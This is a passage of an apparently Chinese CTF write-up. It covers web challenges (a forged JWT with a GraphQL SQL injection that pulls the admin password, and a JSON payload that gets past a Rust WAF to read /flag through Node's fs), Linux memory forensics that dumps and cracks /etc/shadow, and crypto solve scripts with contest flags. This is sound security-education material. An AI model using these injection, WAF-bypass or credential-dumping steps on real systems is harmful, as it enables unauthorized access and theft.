a = 'eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjcxMjQ2ODksImlhdCI6MTY2NzEyNDM4OSwiaXNfYWRtaW4iOjAsImlzX2xvZ2luIjoxLCJqdGkiOiJDSFNEemZIbHJpcTJZbmU3Ynhrc2lRIiwibmJmIjoxNjY3MTI0Mzg5LCJwYXNzd29yZCI6ImFtZXV1IiwidXNlcm5hbWUiOiJhbWV1dSJ9.nlAxl5xunioWsD7UkEY35CGu69F9JMI3B4tCTI5zG-HH5XxbgJIDjheBgYH83QOs7wuu7nRWnuzBGBvXZpoTdjXDklD8ob69-Z9h0UvYB8J9_AwySCssHOw_2d2w4B4EmhTsZ0JXv78KOgIIYKZeI4mX3RohGceGGTMLw92KW0V4IGaZulLXBl9HWw0qfnwXEOY0vNmbofCu3i_Ee1v0m6NWF2ytrLwspkJ59Xj09FXG2oEPzRC-Mx4RBgm5b2xX66RNJcwJhqiwAeRLJ3of0kr5Oo2-3VIjpNUsxgcEUUojk561CT0Lj3NO4kzfJ88gbQwnZ4f-gcg2Kg7IbVa7Tg' | |
token = fakePayload(a) | |
# data = {'query': '{ __schema{ types { name } } }'} | |
# data = {'query': '{ __type(name: "__EnumValue") { name fields { name type { name kind ofType { name kind } } } } }'} | |
# data = {'query': '{ __fields(name: "getscoreusingnamehahaha") { name } }'} | |
# data = {'query': '{ Getscorebyname(name: "admin"){ userid name score } }'} | |
data = {'query': '{ getscoreusingnamehahaha(name:"name\'union select password from users where name=\'admin\' and \'1=1"){ userid name score ' | |
'} }'} | |
r = requests.post(url + 'graphql', | |
cookies={'token': token, | |
'session': 'eyJpc19sb2dpbiI6MX0.Y15HzQ.WwPKCovExkTsVcmU5hVuWIdjj4k'}, | |
data=data) | |
print(r.text) | |
r = requests.get(url + 'getflag', cookies={'token': token, | |
'session': 'eyJpc19sb2dpbiI6MX0.Y15HzQ.WwPKCovExkTsVcmU5hVuWIdjj4k'}) | |
print(r.text) |
flag:
flag{9f065df3-23ae-438f-ae09-56d36a400b52} |
# RustWaf
/src
得到 nodejs 源代码
const express = require('express'); | |
const app = express(); | |
const bodyParser = require("body-parser") | |
const fs = require("fs") | |
app.use(bodyParser.text({type: '*/*'})); | |
const { execFileSync } = require('child_process'); | |
app.post('/readfile', function (req, res) { | |
let body = req.body.toString(); | |
console.log("bosy = "+body + ";"); | |
let file_to_read = "app.js"; | |
const file = execFileSync('/app/rust-waf', [body], { | |
encoding: 'utf-8' | |
}).trim(); | |
const file = body; | |
try { | |
file_to_read = JSON.parse(file) | |
} catch (e){ | |
file_to_read = file | |
} | |
console.log("file_to_read = " + file_to_read + ";"); | |
let data = fs.readFileSync(file_to_read); | |
console.log("data = " + data); | |
// res.send(data.toString()); | |
}); | |
app.get('/', function (req, res) { | |
res.send('see `/src`'); | |
}); | |
app.get('/src', function (req, res) { | |
var data = fs.readFileSync('app.js'); | |
res.send(data.toString()); | |
}); | |
app.listen(3000, function () { | |
console.log('start listening on port 3000'); | |
}); |
代码比较简单,重点就是在 /readfile
目录下读取文件,而会直接从 post body 获取文件名,直接用 bp 传,测试读取 app.js
成功
但是读取 /flag
的时候没有成功,返回了 rust 的代码。可以发现如果 payload 中包含 flag 或者 proc 就会直接返回文件内容,如果绕过了再判断 payload 如果是 json 格式,那么是否存在 key 为 protocol
,如果存在也直接返回文件内容
// use std::env; | |
use serde::{Deserialize, Serialize}; | |
use serde_json::Value; | |
static BLACK_PROPERTY: &str = "protocol"; | |
#[derive(Debug, Serialize, Deserialize)] | |
struct File{ | |
#[serde(default = "default_protocol")] | |
pub protocol: String, | |
pub href: String, | |
pub origin: String, | |
pub pathname: String, | |
pub hostname:String | |
} | |
pub fn default_protocol() -> String { | |
"http".to_string() | |
} | |
//protocol is default value, can't be customized | |
pub fn waf(body: &str) -> String { | |
if body.to_lowercase().contains("flag") || body.to_lowercase().contains("proc"){ | |
return String::from("./main.rs"); | |
} | |
if let Ok(json_body) = serde_json::from_str::<Value>(body) { | |
if let Some(json_body_obj) = json_body.as_object() { | |
if json_body_obj.keys().any(|key| key == BLACK_PROPERTY) { | |
return String::from("./main.rs"); | |
} | |
} | |
//not contains protocol,check if struct is File | |
if let Ok(file) = serde_json::from_str::<File>(body) { | |
return serde_json::to_string(&file).unwrap_or(String::from("./main.rs")); | |
} | |
} else{ | |
//body not json | |
return String::from(body); | |
} | |
return String::from("./main.rs"); | |
} | |
fn main() { | |
// let args: Vec<String> = env::args().collect(); | |
println!(""); | |
} |
google 了一下,发现 corctf 的某道题和这道题类似,也是 fs.readfileSync
并绕 waf,可以直接去看源码
如果传入的 payload 不为空并且 payload.href
和 payload.origin
均有值,就会进入 fileURLToPath(fileURLOrPath)
payload.protocol
为 file:
这里实现对 payload.pathname
的 url 解码并返回最后实现读取 payload.pathname
内容
注意这里要求 payload.hostname
为空
但是这里用到的 payload 中存在 protocol 导致 rust 能检测到,要绕过。payload:
{"origin":"*","href":"*","pr\ud811otocol":"file:","protocol":"file:","hostname":"","pathname":"/f%6cag"}
flag:
flag{5f53d536-83ed-41ec-ae21-939143a38066} |
# Reference
http://www.bmth666.cn/bmth_blog/2022/09/27/Spring 内存马学习 /#Spring 内存马
https://www.anquanke.com/post/id/258575#h2-2
https://myzxcg.com/2021/11/Spring - 内存马实现 /
https://viblo.asia/p/corctf-2022-writeup-part-1-m68Z0Joj5kG#_c-challenge-solution-3
https://github.com/nodejs/node/blob/main/lib/fs.js#L464
https://bbs.pediy.com/thread-274102.htm
https://github.com/davedoesdev/python-jwt
https://www.secpulse.com/archives/148242.html
https://graphql.cn/learn/queries/#variables
# MISC
# strange_forensics
学习链接 1
首先,是一个 linux 取证,需要得到这个镜像的版本号
使用命令 \ 这边只用 vol3 有这个命令,如果是对于 linux 取证的话
#vol3 | |
vol -f 1.mem banners |
得到版本
Linux version 5.4.0-84-generic (buildd@lcy01-amd64-007) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #94~18.04.1-Ubuntu SMP Thu Aug 26 23:17:46 UTC 2021 (Ubuntu 5.4.0-84.94~18.04.1-generic 5.4.133)
然后我们要构建一个跟这个内核一样,记住是一模一样的内核。
# ps: 踩坑
这边就不能使用上面学习链接中的做法使用 vol3 去拉出内核,我具体原因也不知道是为什么,最后会导致本来好好的,amd64-007 变成 amd64-046
就使用字符表 + dwarf 的方式制作内核调试信息的文件
学习链接 2
安装部分就不讲解了,我们需要去安装一个 18.04 的 ubuntu,在装完之后需要 uname -a 查看一下自己内核版本能不能对上,然后需要在这个 ubuntu 上下一个 volatility2,进行 dwarf 的编译
# 1. 创建 vtypes
cd volatility/tools/linux
make
# 2. 获取符号表
一般我们可以在 /boot 目录下找到该 System.map 文件。该文件包含系统的符号信息。
这个就是我们所需要的符号表了
# 3. 制作用户配置文件
将 moudle.dwarf 以及 system.map 文件打包成一个 zip 文件
sudo zip ./volatility/plugins/overlays/linux/Ubuntu.zip ./tools/linux/module.dwarf /boot/System.map-`uname -r` |
这样我们一个可以调试的内核就制作好了
# 4、开始做题
然后我们回到自己的 kali 虚拟机,使用 vol2,将 Ubuntu.zip 放到自己的 //volatility-master/volatility/plugins/linux/ 目录下
查看 info
python2 vol.py --info |
第一个就是,我们选用这个作为我们的 profiles
LinuxUbuntux64
分享一个师傅的 blog,里面有几篇关于 linux 取证的分析 大佬博客
以及 linux 取证下的命令 官网
密码在 /etc/shadow 下
python2 vol.py -f 1.mem --profile=LinuxUbuntux64 linux_enumerate_files | grep 'shadow' |
然后将这个文件 dump 下来
python2 vol.py -f 1.mem --profile=LinuxUbuntux64 linux_find_file -i 0xffff97ce7444b448 -O shadow |
拿到了
直接 somd5 解
拿到密码
然后查看文件
恢复文件的元数据:包括 文件大小,MACtimes,权限,所有者,等等
为了获取完整的数据,命令必须以 root 权限运行
python2 vol.py -f 1.mem --profile=LinuxUbuntux64 linux_recover_filesystem -D dum
可以在 /home/bob/Desktop 目录下找到一个 secret.zip 文件
是一个伪无密,把两个加密数据块的 0000 改成 0900 就可以爆破了
爆破密码得到第二部分 flag
_y0u_Ar3_tHe_LIn
第三部分 flag,应该是非预期,直接在 010 里面搜索,flag3,就可以得到第三部分 flag
最后得到完整的 flag
flag{890topico_y0u_Ar3_tHe_LInUx_forEnsIcS_MASTER}
从而可以引出更多的非预期
在 010 直接搜索 gdm-password,稍微翻一下,只有 110 个搜索
可以直接得到密码,gdm-password 是 root 密码
然后 binwalk -e 可以直接将 zip 分离出来,就是小心内存炸了,所以从理论上来说,这道题甚至不用配 profile。
# 总结
这题主要是考察 linux 镜像取证,主要难点就是配 linux 镜像,后面就没有什么难得了。
# CRYPTO
# fill
s[i] = (s[i-1]*m+c)%n
很容易想到 LCG(n,c 互素)
LCG 解得 m,c (后面发现 m 位数 > 20 很奇怪)
然后求得 M
S 是 M 与 f_list 的点乘
f_list 是 0,1 数组
背包求解 f_list
from functools import reduce | |
from gmpy2 import * | |
def crack_unknown_modulus(states): | |
diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])] | |
zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])] | |
modulus = abs(reduce(gcd, zeroes)) | |
return crack_unknown_multiplier(states, modulus) | |
def crack_unknown_multiplier(states, modulus): | |
multiplier = (states[2] - states[1]) * invert(states[1] - states[0], modulus) % modulus # 注意这里求逆元 | |
return crack_unknown_increment(states, modulus, multiplier) | |
def crack_unknown_increment(states, modulus, multiplier): | |
increment = (states[1] - states[0]*multiplier) % modulus | |
return modulus, multiplier, increment | |
state=[562734112,859151551,741682801] | |
print(crack_unknown_multiplier(state,991125622)) | |
n=991125622 | |
s=[0]*32 | |
s[0]=state[0] | |
n=991125622 | |
m=55365664 | |
c=8712091 | |
for i in range(1, 32): | |
s[i] = (s[i-1]*m+c)%n | |
#print(s) | |
M = [19621141192340, 39617541681643, 3004946591889, 6231471734951, 3703341368174, 48859912097514, 4386411556216, 11028070476391, 18637548953150, 29985057892414, 20689980879644, 20060557946852, 46908191806199, 8849137870273, 28637782510640, 35930273563752, 20695924342882, 36660291028583, 10923264012354, 29810154308143, 4444597606142, 31802472725414, 23368528779283, 15179021971456, 34642073901253, 44824809996134, 31243873675161, 27159321498211, 2220647072602, 20255746235462, 24667528459211, 46916059974372] | |
for t in range(32): | |
M[t] = M[t] - s[t] | |
pk1 = M | |
ct1 = 492226042629702 | |
nbit = len(pk1) | |
A = Matrix(ZZ, nbit + 1, nbit + 1) | |
for i in range(nbit): | |
A[i, i] = 1 | |
for i in range(nbit): | |
A[i, nbit] = pk1[i] | |
A[nbit, nbit] = -int(ct1) | |
res = A.LLL() | |
s='0b' | |
a=(1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0) | |
for i in a: | |
s+=str(i) | |
from hashlib import * | |
print(sha256(str(int(s,2)).encode()).hexdigest()) | |
#flag{8f504aee71626212f275117326722b6c0ccc94f4039ed31fbcfde08e026352c4} |
# little little fermat
yafu 分解 n
得到 p,q
由
费马小定理
得到 x=p-1
from Crypto.Util.number import * | |
p = 11887853772894265642834649929578157180848240939084164222334476057487485972806971092902627112665734648016476153593841839977704512156756634066593725142934001 | |
q = 11887853772894265642834649929578157180848240939084164222334476057487485972806971092902627112665734646483980612727952939084061619889139517526028673988305393 | |
n = 141321067325716426375483506915224930097246865960474155069040176356860707435540270911081589751471783519639996589589495877214497196498978453005154272785048418715013714419926299248566038773669282170912502161620702945933984680880287757862837880474184004082619880793733517191297469980246315623924571332042031367393 | |
c = 81368762831358980348757303940178994718818656679774450300533215016117959412236853310026456227434535301960147956843664862777300751319650636299943068620007067063945453310992828498083556205352025638600643137849563080996797888503027153527315524658003251767187427382796451974118362546507788854349086917112114926883 | |
e = 65537 | |
m=pow(c,inverse(e,(p-1)*(q-1)),n) | |
#print(pow(114514,p-1,p)) | |
print(long_to_bytes(m^(p-1)**2)) | |
#flag{I~ju5t_w@nt_30_te11_y0u_how_I_@m_f3ll1ng~} |
# babyDLP
看到 p 有点眼熟
搜了一下发现春哥 CryptoCTF 原题
直接拿来用
from pwn import * | |
from sage.all import * | |
from Crypto.Util.number import * | |
class Gao: | |
def __init__(self): | |
# self.conn = process(['python3', 'another.py']) | |
self.conn = remote("39.106.13.71",34092) | |
self.p = 2 ** 1024 - 2 ** 234 - 2 ** 267 - 2 ** 291 - 2 ** 403 - 1 | |
self.s_high = 1 | |
self.Zp = Zmod(self.p) | |
def gao_check(self): | |
self.conn.sendline(b'T') | |
ans = self.Zp(4).nth_root(self.s_high) | |
print('Guessing: {}'.format(ans)) | |
self.conn.sendline(str(ans).encode()) | |
self.conn.recvuntil(b'integer: \n') | |
a = self.conn.recvline() | |
if ('Great!' in a): | |
print(a) | |
print(ZZ(ans).nbits()) | |
return True | |
else: | |
return False | |
def gao_one(self): | |
self.conn.sendline(b'T') | |
ans = self.Zp(2).nth_root(self.s_high) | |
self.conn.sendline(str(ans).encode()) | |
self.conn.recvuntil(b'integer: \n') | |
a = self.conn.recvline() | |
if (b'Great!' in a): | |
print(a) | |
print(ZZ(ans).nbits()) | |
return True | |
else: | |
a = a[9:-2] | |
t, r = eval(a) | |
self.s_high <<= 1 | |
if (t == 0): | |
self.s_high |= 1 | |
self.t = 1 - t | |
print('{:b}'.format(self.s_high)) | |
return False | |
def gao(self): | |
while (True): | |
if (self.gao_one()): | |
break | |
if (self.t == 1): | |
if (self.gao_check()): | |
break | |
def gao_2(self): | |
for i in range(1023): | |
if (self.gao_one()): | |
break | |
else: | |
for i in range(20): | |
self.gao_check() | |
self.s_high >>= 1 | |
if __name__ == '__main__': | |
g = Gao() | |
g.gao_2() |